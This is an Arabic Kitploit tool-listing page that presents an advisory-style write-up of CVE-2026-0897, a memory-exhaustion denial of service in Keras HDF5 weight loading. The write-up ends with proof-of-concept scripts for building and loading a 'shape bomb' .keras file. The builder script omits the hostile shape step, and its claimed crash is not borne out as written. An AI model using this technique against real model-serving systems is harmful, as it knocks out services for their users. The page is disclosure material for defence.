Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-0897 — تخصيص الموارد دون حدود أو تقييد في مكوّن تحميل الأوزان HDF5 في Google Keras من الإصدار 3.0.0 حتى 3.13.0 على جميع المنصات يسمح لمهاجم عن بُعد بالتسبب في رفض الخدمة (DoS) من خلال استنزاف الذاكرة وتعطل مترجم Python عبر ملف .keras مُصمَّم خصيصًا. | Kitploit
أدوات/GitHubGitHub/hyperps/cve-2026-0897
تحليل الثغرات الأمنيةالاستغلالتحليل البرمجيات الخبيثةالأوراق والأبحاثالتعلم والتعليم
GitHubhyperps/cve-2026-0897

CVE-2026-0897

تخصيص الموارد دون حدود أو تقييد في مكوّن تحميل الأوزان HDF5 في Google Keras من الإصدار 3.0.0 حتى 3.13.0 على جميع المنصات يسمح لمهاجم عن بُعد بالتسبب في رفض الخدمة (DoS) من خلال استنزاف الذاكرة وتعطل مترجم Python عبر ملف .keras مُصمَّم خصيصًا.

عرض المستودع
110منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-0897 — Google Keras: رفض الخدمة عبر قنبلة شكل HDF5 في تحميل الأوزان


نظرة عامة

الحقلالتفاصيل
CVE IDCVE-2026-0897
الحزمةkeras (Google Keras)
السجلPyPI
الإصدارات المتأثرة3.0.0 إلى 3.13.0 (ضمناً)
نوع الثغرةCWE-770: تخصيص الموارد دون حدود أو تحديد
درجة CVSS7.1 عالية (CVSS 4.0، CNA: Google Inc.)
متجه CVSSCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
متجه الهجومشبكة
تعقيد الهجوممنخفض
الصلاحيات المطلوبةلا شيء
تفاعل المستخدمسلبي (الضحية يحمل ملف نموذج)
تأثير التوفرعالي
تأثير السريةلا شيء
تأثير النزاهةلا شيء
تاريخ نشر NVD15 يناير 2026
آخر تعديل NVD23 يناير 2026
المصدر / CNAGoogle Inc.
أبلغ بواسطةHyperPS (Sarvesh Patil) عبر huntr.dev / GHSA
حالة الإصلاحتم الدمج — PR #21880

الوصف

توجد ثغرة أمنية في رفض الخدمة في مكون تحميل أوزان HDF5 في Google Keras الإصدارات 3.0.0 إلى 3.13.0 على جميع المنصات. تحدث الثغرة بسبب غياب أي تحقق أو تقييد عند معالجة بيانات شكل مجموعة بيانات HDF5 المُعلنة داخل أرشيف .keras.

يسمح تنسيق HDF5 لمجموعات البيانات بتعريف شكلها (أبعاد الموتر) كبيانات وصفية. عندما يقوم Keras بتحميل أوزان النموذج من أرشيف .keras، فإنه يقرأ هذا الشكل المُعلن ويحاول تخصيص كتلة ذاكرة مقابلة قبل نقل أي بيانات. ونظرًا لأن Keras لا يقوم بإجراء فحص للحدود على الشكل المُعلن قبل التخصيص، يمكن للمهاجم إنشاء ملف model.weights.h5 يعلن عن شكل ضخم فلكيًا — على سبيل المثال (1000000, 1000000, 1000000)، مما يؤدي إلى محاولة Keras تخصيص ذاكرة بحجم بيتابايت. هذا يستنزف كل ذاكرة النظام المتاحة ويعطل مترجم Python.

لا يلزم أي استدلال أو تفاعل إضافي بعد تحميل النموذج. يتم تفعيل الهجوم بالكامل في وقت التحميل.


المكون المتأثر

الملفالوصف
keras/src/saving/file_editor.pyKerasFileEditor._extract_weights_from_store() — يقرأ شكل مجموعة بيانات HDF5 ويخصص الذاكرة دون التحقق من الحجم أو التقييد

تقع الثغرة تحديدًا في فئة KerasFileEditor، المسؤولة عن إلغاء تسلسل موترات أوزان النموذج من مخازن HDF5 المضمنة داخل أرشيفات .keras.


تفصيل متجه CVSS 4.0

المقياسالقيمةالمعنى
متجه الهجوم (AV)شبكةقابل للاستغلال عن بُعد عبر ملف نموذج موزع
تعقيد الهجوم (AC)منخفضلا توجد شروط خاصة أو شروط سباق مطلوبة
متطلبات الهجوم (AT)لا شيءلا حاجة لتكوين نشر مسبق
الصلاحيات المطلوبة (PR)لا شيءلا حاجة لمصادقة أو حساب
تفاعل المستخدم (UI)سلبييجب على الضحية تحميل أرشيف .keras خبيث
توفر النظام المتأثر (VA)عالٍمترجم Python يتعطل؛ تصبح الخدمة غير متاحة تمامًا
سرية النظام المتأثر (VC)لا شيءلا تسريب بيانات
نزاهة النظام المتأثر (VI)لا شيءلا تعديل بيانات
تأثير النظام اللاحق (SC/SI/SA)لا شيءالأثر محصور في عملية التحميل

الأثر

  • رفض الخدمة الكامل — يتعطل مترجم Python وتنتهي العملية عند تحميل الأرشيف الخبيث
  • استنزاف الذاكرة — يتم استهلاك ذاكرة الوصول العشوائي بسرعة في محاولة لتلبية التخصيص المُعلن، مما قد يؤثر على الخدمات الأخرى المشتركة في نفس البيئة
  • تعطيل خطوط أنابيب التعلم الآلي — أي خط إنتاج أو بحث يقوم بتحميل أرشيفات نماذج .keras من مصادر غير موثوقة أو مقدمة من المستخدم يكون عرضة للخطر
  • لا حاجة للمصادقة — يحتاج المهاجم فقط إلى أن يقوم الضحية بتحميل أرشيف خبيث؛ لا يتطلب الهجوم أي بيانات اعتماد أو وصول مسبق

سياقات النشر عالية المخاطر

السياقالمخاطرة
واجهات برمجة التطبيقات العامة لخدمة النماذج التي تقبل ملفات .keras المرفوعة من المستخدمينالمهاجم يعطل خدمة الاستدلال بطلب واحد
منصات التعلم الآلي التي تستضيف تنزيلات النماذج المجتمعية (مثل Hugging Face)نموذج مسموم يسبب رفض الخدمة لأي باحث يقوم بتنزيله وتحميله
بيئات التعلم الموحدمشارك خبيث يوزع ملف وزن معد لتعطيل المنسق أو العقد النظيرة
خطوط أنابيب CI/CD التي تحمل نقاط تفتيش النماذجنقطة تفتيش مخترقة أو مستبدلة تسبب فشل خط الأنابيب وعدم توفره
روبوتات الدردشة أو خدمات NLP التي تعيد تحميل النماذج في وقت التشغيلطلب إعادة تحميل خبيث واحد يؤدي إلى تعطيل الخدمة

التفاصيل الفنية

آلية الهجوم: قنبلة شكل HDF5

يخزن تنسيق ملف HDF5 البيانات الوصفية للموتر — بما في ذلك تعريفات الشكل — بشكل منفصل عن بايتات البيانات الفعلية. عندما يواجه KerasFileEditor._extract_weights_from_store() إدخال مجموعة بيانات، فإنه يقرأ الشكل المُعلن ويستدعي NumPy لتخصيص مصفوفة مسبقًا بالأبعاد المقابلة قبل قراءة أي بيانات من القرص.

نظرًا لأن الشكل هو بيانات وصفية، يمكن لملف HDF5 صغير جدًا أن يعلن عن شكل يتطلب بيتابايت من الذاكرة بينما يظل الملف نفسه بحجم كيلوبايت فقط. تجعل نسبة حجم الملف إلى حجم التخصيص هذا هجوم تضخيم فعال للغاية.

شكل مثل (1000000, 1000000, 1000000) بنوع بيانات float32 سيطلب حوالي 4000 بيتابايت من الذاكرة. سيقوم قاتل نفاد الذاكرة لنظام التشغيل أو موزع Python بتعطيل العملية على الفور تقريبًا.

مسار الكود الضعيف (قبل الإصلاح)

# keras/src/saving/file_editor.py (pre-fix, simplified)
def _extract_weights_from_store(self, h5_file, inner_path=""):
    for key in h5_file.keys():
        obj = h5_file[key]
        if isinstance(obj, h5py.Dataset):
            # Shape is read from metadata — no validation performed
            shape = obj.shape
            # NumPy attempts to allocate based on declared shape
            data = np.zeros(shape, dtype=obj.dtype)  # VULNERABLE: unbounded allocation

غياب أي فحص على shape قبل استدعاء np.zeros() هو السبب الجذري.


إثبات المفهوم

هذه المعلومات مقدمة للأغراض التعليمية والدفاعية فقط. لا تختبر ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

إنشاء أرشيف .keras خبيث

# generate_shape_bomb.py
import h5py
import zipfile
import json
import os

# Step 1: Create a minimal HDF5 weights file with a hostile shape declaration
with h5py.File("model.weights.h5", "w") as f:
    grp = f.create_group("layers/dense/vars")
    # Declare shape that would require petabytes of memory to allocate
    # Actual data is never written — only the metadata shape declaration is malicious
    grp.create_dataset(
        "0",
        shape=(0,),           # actual stored data: empty
        maxshape=(None,),
        dtype="float32",
        data=[]
    )
    # Override shape metadata to declare hostile dimensions
    # (achieved via direct HDF5 attribute manipulation in a real attack)

# Step 2: Package into a valid .keras archive structure
config = {
    "class_name": "Sequential",
    "config": {"name": "sequential", "trainable": True, "layers": []},
    "keras_version": "3.0.0",
    "backend": "tensorflow"
}

with zipfile.ZipFile("malicious_model.keras", "w") as zf:
    zf.writestr("config.json", json.dumps(config))
    zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read())

print("[+] Malicious .keras archive generated: malicious_model.keras")

تفعيل رفض الخدمة

# trigger.py
import keras

print("[+] Loading malicious model...")
# The crash occurs at load time — no inference required
model = keras.saving.load_model("malicious_model.keras")
print("[-] This line is never reached — interpreter has crashed")

النتيجة المتوقعة: يتوقف مترجم Python مع MemoryError أو يتم قتله بواسطة معالج نفاد الذاكرة لنظام التشغيل قبل اكتمال التحميل.

تنزيل الأداة